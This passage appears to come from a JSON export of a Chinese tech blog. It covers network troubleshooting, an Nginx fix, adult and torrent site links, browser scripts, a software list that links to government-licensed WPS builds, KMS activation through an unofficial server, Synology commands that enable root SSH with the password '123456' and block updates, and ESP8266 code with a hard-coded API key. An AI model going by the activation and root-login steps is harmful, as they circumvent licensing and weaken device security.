interface GigabitEthernet 1/0/12 Neighbor index :1 Chassis ID :5c-dd-70-xx-xx-xx Port ID :GigabitEthernet1/0/1 TTL :120s System name :SW-Floor3-Access 该接口连接的是三楼的接入交换机。再查看三楼接入交换机的 MAC 地址表变化情况（通过另一条管理路径连上汇聚交换机，再 telnet 到接入交换机）：\n1 2 3 [SW-Floor3-Access] display mac-address learning MAC address learning: enabled MAC entries: 8764 (normal: 256) MAC 表条目高达 8764！正常一台接入交换机最多几百条，出现这么多条目强烈说明有广播风暴，MAC 地址表在不断刷新。\n第五步：找到广播风暴源头\r在三楼接入交换机上，查看各接口的流量情况，发现有两个接口的 In/Out 流量都异常高：\nGE1/0/23：In 95% / Out 94% GE1/0/24：In 96% / Out 95% 立刻到现场查看这两个接口连接的是什么设备。\n发现问题所在：三楼的一个会议室，一台 5 口的 TP-Link 哑交换机（无管理接口）将它的两个口分别插到了接入交换机的 GE1/0/23 和 GE1/0/24，形成了一个环路！\n经询问，是当天下午有人觉得会议室网口不够用，就从库房找了一台旧的哑交换机接上，并且为了多用几个口，把两根网线都插到了楼层接入交换机上（一根接到 23 口，另一根接到 24 口），然后把会议室的网线也接到哑交换机上。这台哑交换机没有 STP 支持，直接形成了二层环路。\n第六步：验证并处理\r立即拔掉哑交换机上的一根网线，断开环路。\n几秒钟后，核心交换机 CPU 开始下降：\n1 2 3 CPU Usage: 67% (30 seconds later) CPU Usage: 24% (60 seconds later) CPU Usage: 8% (90 seconds later) 全楼网络逐渐恢复，SSH 可以正常登录。\n解决方案\r立即处理：\n移除会议室哑交换机，或只保留一根网线连接到楼层交换机 对接入交换机的 GE1/0/23 和 GE1/0/24 端口开启 BPDU Guard 和 Port Fast（如接入层交换机支持） 接入交换机端口配置（以 H3C 为例）：\n1 2 3 [SW-Floor3-Access] interface GigabitEthernet 1/0/23 [SW-Floor3-Access-GE1/0/23] stp edged-port enable [SW-Floor3-Access-GE1/0/23] stp bpdu-protection enable stp edged-port enable 将该端口设为边缘端口（快速进入转发状态），stp bpdu-protection 确保一旦收到 BPDU 就关闭端口，防止哑交换机引发环路。\n对所有接入端口（下联终端的端口）批量开启保护：\n1 [SW-Floor3-Access] stp bpdu-protection 此命令在全局开启 BPDU Guard，适用于所有已配置为边缘端口的接口。\n根因分析\r此次事故的根本原因是未经授权的网络设备接入，且接入的是不支持 STP 的哑交换机，直接造成二层环路。环路导致广播风暴，大量 STP TCN 帧充斥网络，核心交换机 STP 进程持续处理拓扑变更请求，CPU 飙至 100%，正常数据转发能力丧失，全楼断网。\n预防措施\r1. 端口安全配置（核心）\n所有接入端口启用 BPDU Guard 和 Port Fast，一旦检测到非法接入的交换机就自动关闭端口：\n1 2 # 全局开启接入端口保护 stp bpdu-protection 2. 端口 MAC 地址绑定\n对固定位置的终端，绑定 MAC 地址，防止未知设备接入：\n1 2 3 port-security enable port-security max-mac-count 1 port-security violation restrict 3. 用户权限管控\n制定规定：任何人不得自行增减或调整网络设备，需求须提交 IT 工单处理。\n4. 监控告警细化\n完善接入层交换机的 STP 拓扑变更告警，发现 TCN 频繁触发时立即通知运维人员，缩短响应时间。\n总结\r这次事故对我们的提醒是：二层网络的风险往往来自\u0026quot;无害\u0026quot;的小设备。一台十几块钱的哑交换机就能让全楼断网 25 分钟，损失的是几百人的工作效率。\n对于 IT 运维来说，不仅要把核心网络设备管理好，接入层的安全策略同样不可忽视。BPDU Guard、Port Security 这些配置看起来很基础，但往往是防止意外事故的关键防线。\n另外，员工的安全意识培训也很必要——让大家知道\u0026quot;随便接交换机\u0026quot;可能会带来什么后果。\n","date":"2022-06-08T14:20:00Z","permalink":"/posts/bea8d60d/","title":"核心交换机 STP 风暴，全楼网络为何瘫痪？"},{"content":"问题背景\r某周一早上刚到公司，业务部门的同事就找过来反映，说他们的内部文档管理系统在上传大于 10MB 的文件时，总是弹出错误提示。之前这个系统运行一直正常，但上周刚完成了一次迁移，把原来跑在 Tomcat 上的应用挪到了新的 Docker 容器里，并在前端新增了一台 Nginx 作为反向代理。迁移完成后做了基本的冒烟测试，上传小文件没问题，但大文件的情况没有测试到，结果今天业务侧才发现问题。\n影响范围较大，整个文档管理系统的使用人数大约 60 人，每天有大量合同、图纸、报告需要上传，部分文件超过 10MB，属于正常业务场景。\n故障现象\r用户在浏览器端上传文件时，当文件大小超过约 8MB 时，页面返回如下错误：\n1 413 Request Entity Too Large 浏览器 Network 面板可以看到请求直接被 Nginx 拒绝，HTTP 状态码 413，没有到达后端应用。\n开发同事说他已经在应用的 application.properties 里把 Spring Boot 的上传限制改成了 100MB：\n1 2 spring.servlet.multipart.max-file-size=100MB spring.servlet.multipart.max-request-size=100MB 容器重启后依然报 413，于是找到运维这边来排查。\n排查过程\r第一步：确认报错来源\r先看 Nginx 的 error log：\n1 tail -f /var/log/nginx/error.log 日志输出：\n1 2022/03/15 09:12:43 [error] 1234#1234: *567 client intended to send too large body: 9437184 bytes, client: 192.168.10.88, server: docs.internal.company.com, request: \u0026#34;POST /api/upload HTTP/1.1\u0026#34;, host: \u0026#34;docs.internal.company.com\u0026#34; 很明确：是 Nginx 报的错，不是后端应用。说明请求根本没到 Java 应用这层就被 Nginx 拒掉了。\n第二步：检查 Nginx 配置\r查看当前生效的 Nginx 配置：\n1 nginx -T 2\u0026gt;/dev/null | grep -i \u0026#34;client_max_body_size\u0026#34; 输出：\n1 client_max_body_size 8m; 找到了！但配置文件里明明应该改过的……继续追查配置文件层级：\n1 find /etc/nginx -name \u0026#34;*.conf\u0026#34; | xargs grep -l \u0026#34;client_max_body_size\u0026#34; 发现了三处：\n/etc/nginx/nginx.conf（http 块）：client_max_body_size 100m; /etc/nginx/conf.d/default.conf（server 块）：client_max_body_size 8m; /etc/nginx/conf.d/docs.conf（location 块）：未配置 第三步：理解 Nginx 配置继承规则\r这里就需要了解 Nginx 配置的继承机制了。client_max_body_size 可以出现在三个层级：\nhttp {} 块 server {} 块 location {} 块 优先级规则是：子块的配置会覆盖父块。 也就是说，server {} 里配置了 8m，就会覆盖掉 http {} 里的 100m，即使 http {} 里的值更大。\n追问负责这次迁移的同事，他说迁移之前的 default.conf 是从旧机器上直接拷过来的，旧环境里这个文档系统并不走那台 Nginx，所以 default.conf 里的 8m 限制之前没有影响，但迁移后新 Nginx 又用了同一个 default.conf，就埋下了这个坑。\n第四步：验证其他 server 配置\r既然 default.conf 里有残留的 8m 限制，那需要确认这个配置是否影响到了 docs.conf 里的 server 块。\n查看 docs.conf：\n1 2 3 4 5 6 7 8 9 10 server { listen 80; server_name docs.internal.company.com; location / { proxy_pass http://127.0.0.1:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; } } 这个 server {} 块里没有配置 client_max_body_size，按理应该继承 http {} 的 100m。但实际上 default.conf 里的那个 server {} 块只影响它自己，不会影响其他 server {} 块。\n那到底是哪里的 8m 在生效？\n第五步：再次仔细检查继承关系\r重新 nginx -T 全量输出，这次逐段仔细看：\n1 nginx -T 2\u0026gt;/dev/null 在仔细阅读输出后，发现 docs.conf 里其实还有一段被注释掉但没有完全注释干净的配置：\n1 2 3 4 5 6 7 8 9 10 11 12 server { listen 80; server_name docs.internal.company.com; client_max_body_size 8m; # 这行没被注释掉！ # client_max_body_size 100m; # 尝试修改，但改错位置了 location / { proxy_pass http://127.0.0.1:8080; ... } } 原来，那位同事确实改过，但他把新的值写成了注释，同时没把旧的 8m 那行删掉，导致 8m 依然生效。\n解决方案\r修改 docs.conf，移除多余的限制配置，直接在 server {} 块里设置正确的值：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 server { listen 80; server_name docs.internal.company.com; client_max_body_size 200m; # 设置为 200m，留足余量 location / { proxy_pass http://127.0.0.1:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # 同步设置代理超时，避免大文件上传超时 proxy_connect_timeout 60s; proxy_send_timeout 300s; proxy_read_timeout 300s; } } 验证配置语法无误：\n1 nginx -t 输出：\n1 2 nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful 热重载：\n1 nginx -s reload 测试上传 50MB 文件，成功。用户侧验证通过，问题解决。\n根因分析\r根本原因是配置迁移时遗留了旧配置，且修改时操作不规范（改了注释而没删除旧配置行）。client_max_body_size 8m; 这行代码实际上一直生效，在旧环境中没有问题是因为旧环境的这台 Nginx 不承载文档系统的流量，迁移后该配置直接生效并产生影响。\n此外，该同事误认为在 http {} 块设置了 100m 后，server {} 块里的 8m 会被覆盖，对 Nginx 配置的优先级规则理解有误。\n预防措施\r1. 配置迁移规范化\n迁移配置前应先整理清楚每项配置的作用，不应直接拷贝旧配置，特别是对限制类配置（大小、超时、速率）要逐一核对。\n2. 搭建迁移验证 Checklist\n关键迁移场景（如文件上传、超时、鉴权等）必须列入上线前测试清单，不能只做功能冒烟测试。\n3. 定期 nginx -T 全量审计\n可通过脚本定期输出 nginx -T 并做配置 diff，发现异常配置：\n1 nginx -T 2\u0026gt;/dev/null | grep -E \u0026#34;(client_max_body_size|proxy_read_timeout|proxy_send_timeout)\u0026#34; \u0026gt; /tmp/nginx_limit_audit.txt 4. 统一配置管理\n推荐将 Nginx 配置纳入 Git 版本管理，所有修改通过 MR/PR 审核，避免直接改配置文件后忘记清理。\n总结\r这次故障表面上是个很简单的 413 问题，但排查过程中踩了两个坑：一是对 Nginx 配置的层级覆盖规则不熟悉，二是配置文件里存在\u0026quot;半改\u0026quot;的残留配置，干扰了判断。\n教训：迁移时不要直接照搬旧配置，要理解每一行配置的含义；修改配置时要彻底，不要留注释残骸；上线前的测试场景要覆盖到实际业务的边界情况（比如大文件上传、长时间操作等）。\n","date":"2022-03-15T09:30:00Z","permalink":"/posts/8153d8c0/","title":"Nginx 反代配错，上传文件大小限制为何失效？"},{"content":"前言\rNSFW！注意营养！\n中文在线\rhttps://jable.tv https://7mmtv.tv/zh https://www.jav777.xyz/page1.html https://www.xvideos.com\nhttps://www.pornhub.com\nhttps://avgle.com\n91论坛：http://www.91porn.com\nhttps://netflav.com/chinese-sub\nhttps://pigav.com 各个国家：https://xhamster.com\n资源\rhttps://www.javbus.com\nhttps://javdb.com\nhttp://www.javlibrary.com/cn\nhttps://www.141jav.com\nhttp://www.javjunkies.com\nhttp://btnets.net\n草榴：http://t66y.com\n桃花族：http://thzbt.us\n色花堂：https://www.sehuatang.net\n油猴脚本:\nhttps://sleazyfork.org/zh-CN/scripts/25781\n开源AV电影管理系统:\nhttps://github.com/guyueyingmu/avbook\nAV网站大全：\nhttps://theporndude.com/\n","date":"2021-10-20T17:43:26Z","permalink":"/posts/8373160e/","title":"NSFW在线观看与资源搜索"},{"content":"前言\r「Tampermonkey」油猴可以通过安装各类脚本对网站进行定制。不过它能定制的不仅仅是网站的样式，还能实现更多更强大的功能，只要经过简单设置，下载一些现成脚本，就可以实现上面提到的实用的功能。Tampermonkey 提供了友好的中文化界面，懒得折腾的用户使用默认设置即可，无需更改任何选项。如果需要更多高级设置选项的话，可自行打开「初学者」或者「高级」配置模式，设置将提供动作菜单、更细致的脚本更新、TESLA、加强版编辑器、安全、黑名单检查等高级选项。\n脚本推荐\r百度搜索\rAC-baidu-重定向优化百度搜狗谷歌必应搜索_favicon_双列\n1.绕过百度、搜狗、谷歌、好搜搜索结果中的自己的跳转链接，直接访问原始网页-反正都能看懂 2.新增自定义网站拦截功能 3添加Favicon显示 4.页面CSS 5.添加计数 6.开关选择以上功能 7.自动翻页功能\nPS：默认相关功能关闭，需要的请手动开启\n脚本效果\r哔哩哔哩\rBilibili-Evolved 强大的哔哩哔哩增强脚本包括功能：下载视频, 音乐, 封面, 弹幕 / 简化直播间, 评论区, 首页 / 自定义顶栏, 删除广告, 夜间模式 / 触屏设备支持\n脚本效果\r微博\rYAWF 药方\n新浪微博根据关键词、作者、话题、来源等过滤微博，清理版面，以及其他改造功能\n跳过微博的兴趣导引，避免误关注大量“垃圾帐号”（该功能默认开启，无设置项）； 根据关键字、作者、来源等隐藏、折叠或高亮微博；使用拖拽轻松定义过滤规则； 屏蔽推广、粉丝头条、投票、好友赞过、抢红包、爱问医生等各种微博； 清理版面上的各种模块、图标、小红点，去广告；过滤热门话题； 合并左右边栏的双栏模式，加宽微博宽度和加大微博字号，自定义字体； 去除微博间的空白，调整微博版式，重新安排微博下方按钮顺序 自动检查您的关注列表并告诉您发生的变化，帮您保持关注列表的干净整洁； 设置网页模板，自定义半透明背景色，深色导航栏，经典导航栏布局； 正常大小的微博缩略图尺寸，原生视频播放器； 以及更多功能…… 脚本效果\rCSDN\r持续更新-csdn广告完全过滤-人性化脚本优化-不用再登录了-让你体验令人惊喜的崭新csdn\nCSDNGreener，一款专为 Tampermonkey 插件打造的 CSDN 绿化脚本。\n脚本效果\r知乎\r知乎增强\n移除登录弹窗、默认收起回答、一键收起回答、收起当前回答/评论（点击两侧空白处）、快捷回到顶部（右键两侧空白处）、屏蔽用户 (发布的内容)、屏蔽关键词（标题/评论）、屏蔽首页视频（视频/文章等类别）、屏蔽盐选内容、净化标题消息、展开问题描述、置顶显示时间、完整问题时间、区分问题文章、直达问题按钮、默认高清原图、默认站外直链\n脚本效果\rE 站\rEhSyringe\nE 站注射器，将中文翻译注入到 E 站体内。（中文化）\n功能包括 全站翻译（大部分)、TAG 翻译、TAG 介绍、TAG 翻译数据更新、搜索框 TAG 输入提示\neHunter\n为e-hentai/exhentai/nhentai提供一个滚动模式和书本模式, 提供良好的阅读体验。\n","date":"2021-09-23T22:00:55Z","permalink":"/posts/d7689dcb/","title":"个人使用的Tampermonkey油猴脚本推荐"},{"content":"前言\r要说 Windows 平台有哪些值得推荐的常用软件，我整理了一些自己用后感觉还不错的软件，全文共有八大类，包括：多媒体类、浏览器类、图形图像类、聊天软件类、办公软件类 、系统必备类、常用工具类、博客相关类 。\n多媒体\rPotPlayer:\n视频播放\n官网:https://potplayer.daum.net/\n下载地址:https://pan.lanzoui.com/b0f1k59qh\nfoobar2000:\n音乐播放\n官网:https://www.foobar2000.org/\n下载地址:http://blog.sina.com.cn/go2spa\n浏览器\rGoogle Chrome:\n官网:https://www.google.com/chrome/\nMicrosoft Edge:\n官网:https://www.microsoft.com/zh-cn/edge\nCent Browser:\n个人常用\n官网:https://www.centbrowser.cn/\n图形图像\r2345看图王:\n附带PDF查看器\n官网:https://pic.2345.cc/\n下载地址:https://pan.lanzoui.com/iUuJ1oeuo6d\nWinSnap:\n截图软件\n官网:https://www.ntwind.com/software/winsnap.html\n聊天软件\r微信:\n官网:https://weixin.qq.com/\n下载地址:https://pc.weixin.qq.com/\nQQ:\n官网:https://im.qq.com/index\n下载地址:https://im.qq.com/download\nTim:\n官网:https://office.qq.com/\n下载地址:https://office.qq.com/download.html\nYY语音:\n官网:https://www.yy.com/web/pcyy_download/\n下载地址:https://pan.lanzoui.com/ieLQmrqbv9e\nTelegram:\n官网:https://telegram.org/\n下载地址:https://desktop.telegram.org/\n办公软件\rMicrosoft Office:\n官网:https://www.office.com/\n下载地址:https://otp.landian.vip/zh-cn/download.html\nWPS Office:\n官网:https://www.wps.cn/\nWPS Office 2019:\nWPS软件政府专用（2019版）石家庄市人力资源和社会保障局：官方下载\nWPS Office 2019 海南省直属机关单位专用（11.8.2.8875）：[官方下载](http://wpspro.support.wps.cn/gov/hainan/installation/WPS Office 2019 海南省直属机关单位专用（11.8.2.8875）.exe)\nWPS Office 2019 专业版（潮州市党政机关单位）（11.8.2.8411）：官方下载 密码：265980\nWPS Office 2016:\nWPS Office 2016 云南省直属党政机关专用版：https://pan.baidu.com/s/1xDYRAD6vl911OtxFNDoBQw 密码：9bt3\n系统必备\rDism++:\n系统优化软件\n官网:http://www.chuyu.me/zh-Hans/\nBandizip:\n解压软件\n官网:http://www.bandisoft.com/bandizip/\n火绒:\n系统安全软件\n官网:https://www.huorong.cn/\nDeep Freeze:\n系统还原软件\n官网:https://www.faronics.com/en-uk/products/deep-freeze/standard\nEverything:\n本地文件搜索\n官网:https://www.voidtools.com/zh-cn/\n常用工具\rBandicam:\n录屏软件\n官网:https://www.bandicam.cn/\n下载地址:https://pan.lanzoui.com/b0f197pud\nClash:\n不可描述\n官网:https://github.com/Fndroid/clash_for_windows_pkg\n下载地址:https://github.com/Fndroid/clash_for_windows_pkg/releases\nFFRenamePro:\n批量改名\n官网:http://www.ffhome.com/\n下载地址:http://www.ffhome.com/works/1406.html\nHiBitUninstaller:\n软件卸载\n官网:https://hibitsoft.ir/Uninstaller.html\n下载地址:https://hibitsoft.ir/Uninstaller.html\nKeePass:\n密码管理\n官网:https://keepass.info/\n下载地址:https://keepass.info/download.html\nMyHash:\n文件校验\n官网:https://github.com/drag0n-app/MyHash\nNetch:\n游戏加速\n官网:https://github.com/netchx/Netch\n下载地址:https://github.com/netchx/netch/releases\nSumatraPDF:\nPDF查看\n官网:https://www.sumatrapdfreader.org/free-pdf-reader\n下载地址:https://www.sumatrapdfreader.org/download-free-pdf-viewer\nWinSCP:\nssh链接\n官网:https://winscp.net/eng/index.php\n下载地址:https://winscp.net/eng/download.php\n博客相关\rtypora:\n博客撰写\n官网:https://typora.io/\n下载地址:https://typora.io/#windows\nPicGo:\n官网:https://picgo.github.io/PicGo-Doc/\n下载地址:https://github.com/Molunerfinn/PicGo/releases\nGitHubDesktop:\n官网:https://desktop.github.com/\n","date":"2021-09-02T19:19:21Z","permalink":"/posts/35390aee/","title":"Windows常用软件"},{"content":"项目说明\r服务作用：在线激活windows和office\n适用对象：VOL版本的windows和office\n优点：在线激活 省时省力 无需安装软件 干净环保 命令简单\n缺点：服务器不挂的话自动重新授权到服务器\n使用方法\r一般来说，只要确保的下载的是VL批量版本并且没有手动安装过任何key，你只需要使用管理员权限运行cmd执行一句命令就足够：\n1 slmgr /skms kms.03k.org 这句命令的意思是，设置kms服务器地址（set kms），设置成功如下：\n然后去计算机属性或者控制面板其他的什么的地方点一下激活就好了。\n当然，如果你懒得点，可以多打一句命令手动激活：\n1 slmgr /ato 这句命令的意思是，马上对当前设置的key和服务器地址等进行尝试激活操作。\nKMS 地址列表\rkms_list\n列表数据半小时更新一次，点击表头可以进行排序。建议使用成功率高且延迟低的 KMS 主机进行激活。 成功率指成功次数/测试次数，最短、最长、平均时间以及近期成功率均取最近 10 次测试结果计算。 数据仅供参考，实际使用情况会受网络因素影响而不同。\n","date":"2021-08-29T17:13:21Z","permalink":"/posts/22c45a8c/","title":"一句命令激活Windows"},{"content":"前言\r关于群晖优化可以用的一键命令，适用于DSM6.1X和6.2X。\n命令内容\r一键开启DSM6.1X的root权限，命令行最后面的123456是设置root的密码，可以自己修改再运行，重启后生效。 1 synouser --setpw root 123456 一键开启DSM6.2X的root权限，命令行最后面的123456是设置root的密码，可以自己修改再运行，重启后生效。 1 chmod 755 /etc/ssh/sshd_config \u0026amp;\u0026amp; sed -i \u0026#39;s/#PermitRootLogin prohibit-password/PermitRootLogin yes/g\u0026#39; /etc/ssh/sshd_config \u0026amp;\u0026amp; synouser --setpw root 123456 一键屏蔽升级（仅限DSM6.22以之前的版本，不包括DSM6.23及以上版本），运行后生效。 1 echo \u0026#34;127.0.0.1 updated.synology.com\u0026#34; \u0026gt; /etc/hosts ","date":"2021-08-10T17:13:21Z","permalink":"/posts/b86f5b0a/","title":"关于群晖优化可以用的一键命令"},{"content":"项目地址\rMaskbugzero/ESP8266-Weather-2021\n一个关于STM32+ESP8266+DHT11的家庭气象站。\n硬件资源\r战舰V3\\精英STM32F103开发板 ALIENTEK 2.8/3.5/4.3/7寸TFTLCD模块(通过FSMC驱动.FSMC_NE4接LCD片选/A10接RS) 按键KEY0(PE4)/KEY1(PE3)/KEY_UP(PA0.也称之为WK_UP) ESP8266-12S WIFI模块1个 DHT11模块1个 实现功能\r微信小程序配网 室内温湿度测量及显示 室外天气数据获取及显示 时间显示及网络校准 连接方式\r模块与带有无线网卡的电脑或其他wifi设备连接：采用wifi连接 模块与开发板连接：TTL串口方式 ATK-ESP8266 WIFI模块与精英板连接方式\rTXD\u0026lt;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026gt;PB11\nRXD\u0026lt;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026gt;PB10\nGND\u0026lt;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026gt;GND\nVCC\u0026lt;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026gt;3.3V\\5V\nDHT11模块与精英板连接方式\rData\u0026lt;\u0026mdash;\u0026mdash;\u0026mdash;\u0026mdash;\u0026gt;PE11\n主要代码\r外设初始化\r初始化外设时，若DHT11工作不正常则显示屏无法正常显示。\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 LED_Init();\t//初始化与LED连接的硬件接口 KEY_Init();\t//初始化按键 LCD_Init();\t//初始化LCD RTC_Init(); while(DHT11_Init())\t//DHT11初始化\t{ printf(\u0026#34;DHT11 出错！\\r\\n\u0026#34;); delay_ms(200); } W25QXX_Init();\t//初始化W25Q128 tp_dev.init();\t//初始化触摸屏 usart3_init(115200);\t//初始化串口3 my_mem_init(SRAMIN);\t//初始化内部内存池 exfuns_init();\t//为fatfs相关变量申请内存 f_mount(fs[0],\u0026#34;0:\u0026#34;,1); //挂载SD卡 f_mount(fs[1],\u0026#34;1:\u0026#34;,1); //挂载FLASH. 微信小程序配网\r源码：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 //一键配网设置 u8 atk_8266_wifi_config(void) { int i; while(atk_8266_send_cmd(\u0026#34;AT\u0026#34;,\u0026#34;OK\u0026#34;,20))//检查WIFI模块是否在线 { atk_8266_quit_trans();//退出透传 atk_8266_send_cmd(\u0026#34;AT+CIPMODE=0\u0026#34;,\u0026#34;OK\u0026#34;,200); //关闭透传模式\tprintf(\u0026#34;未检测到模块!!!\u0026#34;); delay_ms(800); printf(\u0026#34;尝试连接模块...\u0026#34;); } u3_printf(\u0026#34;AT+RESTORE\u0026#34;);\t//恢复出厂设置 delay_ms(1000); //延时3S等待恢复成功 delay_ms(1000); delay_ms(1000); printf(\u0026#34;恢复出厂设置完成\u0026#34;); atk_8266_send_cmd(\u0026#34;AT+RST\u0026#34;,\u0026#34;OK\u0026#34;,20);\t//软重启 delay_ms(1000); //延时3S等待重启成功 delay_ms(1000); delay_ms(1000); delay_ms(1000); printf(\u0026#34;软重启完成\u0026#34;); while(atk_8266_send_cmd(\u0026#34;ATE0\u0026#34;,\u0026#34;OK\u0026#34;,20));//关闭回显 atk_8266_send_cmd(\u0026#34;AT+CWMODE=1\u0026#34;,\u0026#34;OK\u0026#34;,50);\t//设置WIFI STA模式 atk_8266_send_cmd(\u0026#34;AT+CWAUTOCONN=1\u0026#34;,\u0026#34;OK\u0026#34;,20); //使能上电自动连接AP delay_ms(300); atk_8266_send_cmd(\u0026#34;AT+CWSTARTSMART=3\u0026#34;,\u0026#34;OK\u0026#34;,20);\t//支持ESP-Touch和Airkiss智能配网 printf(\u0026#34;智能配网已开启 等待30s\\r\\n\u0026#34;); while(i\u0026lt;=30) { delay_ms(1000); //延时30S等待配网成功 i++; } //\twhile(atk_8266_check_cmd(\u0026#34;smartconfig connected wifi\u0026#34;));\t//连接目标路由器,并且获得IP //\tdelay_ms(300); atk_8266_send_cmd(\u0026#34;AT+CWSTOPSMART\u0026#34;,\u0026#34;OK\u0026#34;,20);\t//释放快连所占的内存 return 0; } 数据解析\r天气数据\r源码：（以当天天气数据为例，近3天天气数据类似)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 //解析当前天气 u8 parse_now_weather(void) { cJSON *root; cJSON *pSub; cJSON *arrayItem; cJSON *pItem; cJSON *pSubItem; cJSON *pChildItem; char *pr,*utf8str,*gbkstr; u8 size = 0; int len; u8 res; u8 temperature; root = mymalloc(SRAMIN,sizeof(cJSON)); pSub = mymalloc(SRAMIN,sizeof(cJSON)); pItem = mymalloc(SRAMIN,sizeof(cJSON)); pSubItem = mymalloc(SRAMIN,sizeof(cJSON)); pChildItem = mymalloc(SRAMIN,sizeof(cJSON)); arrayItem = mymalloc(SRAMIN,sizeof(cJSON)); pr = mymalloc(SRAMIN,1000); utf8str = mymalloc(SRAMIN,50); gbkstr = mymalloc(SRAMIN,50); memset(pr,0,1000); memset(gbkstr,0,50); memset(utf8str,0,50); file = mymalloc(SRAMIN,sizeof(FIL)); res=f_open(file,(const TCHAR*)APP_ASCII_5427,FA_READ);//打开文件 if(res==FR_OK) { asc2_5427 = mymalloc(SRAMIN,file-\u0026gt;fsize); if(asc2_5427 != NULL) { res = f_read(file,asc2_5427,file-\u0026gt;fsize,\u0026amp;br); } f_close(file); } printf(\u0026#34;jieshou-\u0026gt;1dayjson = %s\\r\\n\u0026#34;,USART3_RX_BUF); root = cJSON_Parse((const char*)USART3_RX_BUF); if(root != NULL) { pSub = cJSON_GetObjectItem(root,\u0026#34;results\u0026#34;); if(pSub != NULL) { //\tsize = cJSON_GetArraySize(pSub); arrayItem = cJSON_GetArrayItem(pSub,0); pr = cJSON_Print(arrayItem); //获取jsom数组 pItem = cJSON_Parse(pr); //对数组，进行升级。 if(pItem != NULL) { pSubItem = cJSON_GetObjectItem(pItem,\u0026#34;location\u0026#34;); if(pSubItem != NULL) { pChildItem = cJSON_GetObjectItem(pSubItem,\u0026#34;name\u0026#34;); if(pChildItem != NULL) { utf8str = pChildItem-\u0026gt;valuestring; SwitchToGbk((const u8*)utf8str,strlen(utf8str),(u8 *)gbkstr,\u0026amp;len); //获取城市名称转换为gbk文件 Show_Str(0,0,lcddev.width,lcddev.height,(u8 *)gbkstr,16,0); //显示城市名称。 } } memset(utf8str,0,50); //解决阴华 memset(gbkstr,0,50); pSubItem = cJSON_GetObjectItem(pItem,\u0026#34;now\u0026#34;); if(pSubItem != NULL) { pChildItem = cJSON_GetObjectItem(pSubItem,\u0026#34;text\u0026#34;); //获取天气信息。多云 if(pChildItem != NULL) { utf8str = pChildItem-\u0026gt;valuestring; SwitchToGbk((const u8*)utf8str,strlen(utf8str),(u8 *)gbkstr,\u0026amp;len); Show_Str(220,25,lcddev.width,lcddev.height,(u8 *)gbkstr,16,0); //显示多云 } memset(utf8str,0,50); memset(gbkstr,0,50); pChildItem = cJSON_GetObjectItem(pSubItem,\u0026#34;code\u0026#34;); //获取气象代码 if(pChildItem != NULL) { gbkstr = pChildItem-\u0026gt;valuestring; show_weather_icon((u8 *)gbkstr,0); //根据气象代码，更新图片 } memset(gbkstr,0,50); pChildItem = cJSON_GetObjectItem(pSubItem,\u0026#34;temperature\u0026#34;); //获取温度信息 if(pChildItem != NULL) { gbkstr = pChildItem-\u0026gt;valuestring; temperature = str2int((u8 *)gbkstr); gui_show_num(140,22,2,RED,54,temperature,0x80); printf(\u0026#34;wendu = %d\\r\\n\u0026#34;,temperature); } } pSubItem = cJSON_GetObjectItem(pItem,\u0026#34;last_updated\u0026#34;); if(pSubItem != NULL)\t{ gbkstr =pSubItem-\u0026gt;valuestring; LCD_ShowString(0,92,200,20,12,(u8*)gbkstr); printf(\u0026#34;1day_updata_time = %s\\r\\n\u0026#34;,(u8*)gbkstr); } } cJSON_Delete(pItem); } } cJSON_Delete(root); myfree(SRAMIN,root); myfree(SRAMIN,pSub); myfree(SRAMIN,pItem); myfree(SRAMIN,pSubItem); myfree(SRAMIN,pChildItem); myfree(SRAMIN,arrayItem); myfree(SRAMIN,pr); myfree(SRAMIN,utf8str); myfree(SRAMIN,gbkstr); myfree(SRAMIN,file); myfree(SRAMIN,asc2_5427); return 0; } 时间数据获取和校准\r源码:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 u8 get_beijing_time(void) { u8 *p; u8 res; u8 *resp; u8 *p_end; //\tu8 ipbuf[16]; //IP缓存 p=mymalloc(SRAMIN,40);\t//申请40字节内存 sprintf((char*)p,\u0026#34;AT+CIPSTART=\\\u0026#34;TCP\\\u0026#34;,\\\u0026#34;%s\\\u0026#34;,%s\u0026#34;,TIME_SERVERIP,TIME_PORTNUM); //配置目标TCP服务器 res = atk_8266_send_cmd(p,\u0026#34;OK\u0026#34;,200);//连接到目标TCP服务器 if(res==1) { myfree(SRAMIN,p); return 1; } delay_ms(300); atk_8266_send_cmd(\u0026#34;AT+CIPMODE=1\u0026#34;,\u0026#34;OK\u0026#34;,100); //传输模式为：透传\t//\tatk_8266_get_wanip(ipbuf);//获取WAN IP USART3_RX_STA=0; atk_8266_send_cmd(\u0026#34;AT+CIPSEND\u0026#34;,\u0026#34;OK\u0026#34;,100); //开始透传 printf(\u0026#34;start trans...\\r\\n\u0026#34;); u3_printf(\u0026#34;GET http://api.k780.com/?app=life.time\u0026amp;appkey=58173\u0026amp;sign=4e67ab8533b30580e584c8b9f0a6cc50\u0026amp;format=json\\n\\n\u0026#34;);\tdelay_ms(20);//延时20ms返回的是指令发送成功的状态 //\tatk_8266_at_response(1); USART3_RX_STA=0;\t//清零串口3数据 delay_ms(1000); 